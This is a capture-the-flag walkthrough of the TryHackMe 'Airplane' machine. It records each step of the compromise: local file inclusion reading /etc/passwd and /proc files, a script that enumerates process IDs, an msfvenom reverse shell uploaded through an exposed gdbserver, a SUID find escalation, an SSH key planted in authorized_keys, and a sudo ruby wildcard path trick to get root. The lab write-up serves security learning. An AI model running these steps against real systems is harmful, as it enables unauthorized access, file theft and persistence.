Airplane

Are you ready to fly? - by blgsvnomer


Recon

We start with a Nmap scan and find only three open ports. 22, 6048 and 8000.

```
╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ nmap -sT -p- airplane.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 20:01 CEST
Nmap scan report for airplane.thm (10.10.196.89)
Host is up (0.064s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
6048/tcp open  x11
8000/tcp open  http-alt

Unfortunately, a service and default script scan does not tell us what is behind 6048. At 22, it is OpenSSH 8.2p1, and at port 8000, we are dealing with a Python Werkzeug web server.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ nmap -sT -sV -sC -p22,6048,8000 airplane.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 20:04 CEST
Nmap scan report for airplane.thm (10.10.196.89)
Host is up (0.12s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
|   256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
|_  256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)
6048/tcp open  x11?
8000/tcp open  http-alt Werkzeug/3.0.2 Python/3.8.10
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Fri, 07 Jun 2024 18:04:20 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Fri, 07 Jun 2024 18:04:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 269
|     Location: http://airplane.thm:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
| http-title: About Airplanes
|_Requested resource was http://airplane.thm:8000/?page=index.html


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 174.86 seconds

The first visit to the index page of Endpoint 8000 shows us that only static pages are loaded. This is done via the page parameter http://airplane.thm:8000/?page=index.html. Here we could find an entry via Local File Inclusion.

We start another Gobuster scan and try to find more directories, but only find the route/airplane.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ gobuster dir -u http://airplane.thm:8000/ -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://airplane.thm:8000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/airplane             (Status: 200) [Size: 655]

We confirm our assumption about LFI. We can include the file /etc/passwd, which is downloaded directly. When accessing files to which we are not authorized, we receive an internal server error. Because the files are downloaded directly, we probably do not have the possibility of log file poisoning this time.

http://airplane.thm:8000/?page=./../../../../etc/passwd

We see we have the users hudson and carlos. Unfortunately, we are not successful in probing for the user.txt in /home/hudson or /home/carlos.txt.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ cat passwd 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
fwupd-refresh:x:122:127:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
geoclue:x:123:128::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

Let's check the environment variable of the current process.

http://airplane.thm:8000/?page=./../../../../proc/self/environ

We see that the app is run in the context of hudson, let's investigate further on the app itself.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ cat environ 
LANG=en_US.UTF-8LC_ADDRESS=tr_TR.UTF-8LC_IDENTIFICATION=tr_TR.UTF-8LC_MEASUREMENT=tr_TR.UTF-8LC_MONETARY=tr_TR.UTF-8LC_NAME=tr_TR.UTF-8LC_NUMERIC=tr_TR.UTF-8LC_PAPER=tr_TR.UTF-8LC_TELEPHONE=tr_TR.UTF-8LC_TIME=tr_TR.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binHOME=/home/hudsonLOGNAME=hudsonUSER=hudsonSHELL=/bin/bashINVOCATION_ID=bb81fccdfb47468a9c8df2f4fdcc8a75JOURNAL_STREAM=9:19348%   

We can find the app.py in the following directory:

http://airplane.thm:8000/?page=./../../../../home/hudson/app/app.py

Unfortunately, there isn't anything more. The app itself just provides the index and airplane page, and it's vulnerable to LFI.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ cat app.py 
from flask import Flask, send_file, redirect, render_template, request
import os.path

app = Flask(__name__)


@app.route('/')
def index():
    if 'page' in request.args:
        page = 'static/' + request.args.get('page')

        if os.path.isfile(page):
            resp = send_file(page)
            resp.direct_passthrough = False

            if os.path.getsize(page) == 0:
                resp.headers["Content-Length"]=str(len(resp.get_data()))

            return resp
        
        else:
            return "Page not found"

    else:
        return redirect('http://airplane.thm:8000/?page=index.html', code=302)    


@app.route('/airplane')
def airplane():
    return render_template('airplane.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)%

Next, we probe /proc/[pid]/cmdline, to investigate what might be running on port 6048. /proc/[pid]/cmdline is a file in the Linux proc file system that contains the command-line arguments used to start the process with the specified process ID (PID). This can either be achieved by FuFF or a custom script fetching each possible ID. If the port is used as a parameter, we might be able to identify what is running on 6048.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ seq 1000 > ids.txt
╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ ffuf -w ids.txt -u "http://airplane.thm:8000/?page=./../../../../proc/FUZZ/cmdline"  -fw 3

On PID 536 in this case, we can see that a gdbserver is running on 6048.

http://airplane.thm:8000/?page=./../../../../proc/536/cmdline
╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ cat cmdline
/usr/bin/gdbserver0.0.0.0:6048airplane%  

The following show cases a script to fetch the first 1000 pids.

enum-cmdline.py
import requests

for i in range(1, 1001):
    print(f"\r{i}", end="", flush=True)
    url = f"http://airplane.thm:8000/?page=../../../../../proc/{i}/cmdline"
    response = requests.get(url)
    
    if response.status_code == 200:
        content = response.text
        if 'Page not found' not in content and content:
            print(f"\r/proc/{i}/cmdline: {content}")
╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ cat enum-cmdline.py
import requests

for i in range(1, 1001):
    print(f"\r{i}", end="", flush=True)
    url = f"http://airplane.thm:8000/?page=../../../../../proc/{i}/cmdline"
    response = requests.get(url)
    
    if response.status_code == 200:
        content = response.text
        if 'Page not found' not in content and content:
            print(f"\r/proc/{i}/cmdline: {content}")

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ python enum-cmdline.py
/proc/1/cmdline: /sbin/initsplash

...

/proc/532/cmdline: /usr/sbin/NetworkManager--no-daemon 
/proc/536/cmdline: /usr/bin/gdbserver 0.0.0.0:6048airplane 
/proc/539/cmdline: /usr/bin/python3app.py 

Shell as hudson

With the information we have gathered so far we should be able to get inital foothold. Since we know a gdbserver is running in the background, we can research how to use it to our advantage, for example to obtain a reverse shell. HackTricks has a great resource on that topic and provide step by step commands to upload and execute a reverse shell using a gdb server:

The following is an example provided by HackTricks.

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

We create the reverse shell binary using msfvenom.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ chmod +x binary.elf
╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ gdb binary.elf

Next, we set up a listener on port 4444.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ nc -lnvp 4444                       
listening on [any] 4444 ...

We run gbd on our local binary and start a remote debugging connection via target extended-remote 10.10.242.124:6048. Then we copy our binary to /home/hudson/binary.elf via remote put binary.elf /home/hudson/binary.elf and execute it set remote exec-file /home/hudson/binary.elf run.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ gdb binary.elf                                       130 
GNU gdb (Debian 13.1-3) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from binary.elf...
(No debugging symbols found in binary.elf)
gef➤  target extended-remote 10.10.242.124:6048
Remote debugging using 10.10.242.124:6048
gef➤  remote put binary.elf /home/hudson/binary.elf
Successfully sent file "binary.elf".
gef➤  set remote exec-file /home/hudson/binary.elf
gef➤  run
Starting program: /home/xb0b/Documents/tryhackme/airplane/binary.elf 
Reading /usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debug from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
[Detaching after fork from child process 117423]
[Inferior 1 (process 117422) exited normally]

We get a connection back and are the user hudson. Next, we upgrade our reverse shell. We cannot find the first user flag here, so we have to move on to the other user.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ nc -lnvp 4444                       
listening on [any] 4444 ...
connect to [10.8.211.1] from (UNKNOWN) [10.10.242.124] 33786
id
uid=1001(hudson) gid=1001(hudson) groups=1001(hudson)
ls
airplane
python3 -c 'import pty; pty.spawn("/bin/bash")'
hudson@airplane:/opt$ ^Z
[1]  + 11024 suspended  nc -lnvp 4444
╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ stty raw -echo && fg                                 148 
[1]  + 11024 continued  nc -lnvp 4444

hudson@airplane:/opt$ cd /home
hudson@airplane:/home$ ls
carlos  hudson
hudson@airplane:/home$ cd hudson/
hudson@airplane:/home/hudson$ ls
Desktop    Downloads  Pictures  Templates  app
Documents  Music      Public    Videos     binary.elf

Shell as carlos

After running LinPEAS we find the SUID binary find, owned by carlos.

                      ╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
                      ╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 carlos carlos 313K Feb 18  2020 /usr/bin/find

Using the provided payload from GTFOBins...

... we are able to escalate to carlos and find the first flag in the home directory of the user.

find . -exec /bin/sh -p \; -quit

Shell as root

We can now add a public RSA key to the /home/carlos/.ssh/authorized_keys file to establish a more stable shell using ssh. We create a new key pair using ssh-keygen.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ ssh-keygen -t rsa                                                                                                           1 ↵
Generating public/private rsa key pair.
Enter file in which to save the key (/home/xb0b/.ssh/id_rsa): ./carlos
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./carlos
Your public key has been saved in ./carlos.pub
The key fingerprint is:
SHA256:1CGe1RK0n/owfIoUr1Mf1HHm0wjA8oUOed1ScBb12TY xb0b@parrot
The key's randomart image is:
+---[RSA 3072]----+
|        .+**.+=o.|
|       .+==o*oo *|
|        +*oo + E=|
|       .  o...oo+|
|        S  .o   .|
|         +...    |
|        ..*...   |
|       ..o *.    |
|        o.. .    |
+----[SHA256]-----+

Next, we place the public key into the authorized_keys of carlos.

$ cd /home/carlos/.ssh
$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCUUlTHzm7c2c+c5uCE05hnJ8shTk+UC5EjwyETXlsxnx1IcOAABOFkw3ac5ozLHYDjHYC88whsXY2oAOefD0od7eG15xsXNMKxFPAvMyPSu/MUOV66PXYP/pKnlA84bD/kX0kL4HPTeBtb5gP2JynXIm27a5JowLVG76dbN5L5wsLbTxj9fQgf5JHcj0d9hdiawScDQYVoWR0U9yD1SZsaRVkXEOl7htx2OHci01tKQ2a5cVtUE1v930IrgaGFgbtWQFOb5z8k9MzFKMHyqFkFHs6CgemDaRpe5J3ZTjfIRSQegCdVJrBkogg3EBn8zq7glOKywlMO72GolVNr3hMVMD5pbWb+GjBI8ednpHq1YKxLwmCsv7CniUM717BuNyPzjhJkmHF6Du5Y/OEc8n3Gg+U1w9LZdi+kAdy0FPnoH7ia/P6bIU0vSD/mi2OuTlDQFobXnk/0VnskOnZzvvii2ODqS2v/RnMQeP9iCRa3b1xvpb4XIuWr7KMonsk5Apk= xb0b@parrot' > authorized_keys
$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCUUlTHzm7c2c+c5uCE05hnJ8shTk+UC5EjwyETXlsxnx1IcOAABOFkw3ac5ozLHYDjHYC88whsXY2oAOefD0od7eG15xsXNMKxFPAvMyPSu/MUOV66PXYP/pKnlA84bD/kX0kL4HPTeBtb5gP2JynXIm27a5JowLVG76dbN5L5wsLbTxj9fQgf5JHcj0d9hdiawScDQYVoWR0U9yD1SZsaRVkXEOl7htx2OHci01tKQ2a5cVtUE1v930IrgaGFgbtWQFOb5z8k9MzFKMHyqFkFHs6CgemDaRpe5J3ZTjfIRSQegCdVJrBkogg3EBn8zq7glOKywlMO72GolVNr3hMVMD5pbWb+GjBI8ednpHq1YKxLwmCsv7CniUM717BuNyPzjhJkmHF6Du5Y/OEc8n3Gg+U1w9LZdi+kAdy0FPnoH7ia/P6bIU0vSD/mi2OuTlDQFobXnk/0VnskOnZzvvii2ODqS2v/RnMQeP9iCRa3b1xvpb4XIuWr7KMonsk5Apk= xb0b@parrot

After applying the correct permission, we are able to use our private key to log in as carlos to the machine. Next, we see we are able to run /usr/bin/ruby /root/*.rb using sudo without the need to provide a password. Here, we have the possibility to spawn a root shell by executing an .rb file that does exactly that. Since we have a wildcard in the path, we can place our script outside of root and still execute it.

╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ chmod 600 carlos
╭─xb0b@parrot ~/Documents/tryhackme/airplane 
╰─➤  $ ssh -i carlos carlos@airplane.thm
carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on airplane:
    (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb

We craft a script to spawn a bash. We place it in/home/carlos/evil.rb and call it via sudo /usr/bin/ruby /root/../home/carlos/evil.rb. We are root and find the last flag in /root/root.txt.

carlos@airplane:~$ echo 'system("/bin/bash")' > evil.rb
carlos@airplane:~$ cat evil.rb 
system("/bin/bash")
carlos@airplane:~$ sudo /usr/bin/ruby /root/../home/carlos/evil.rb

Last updated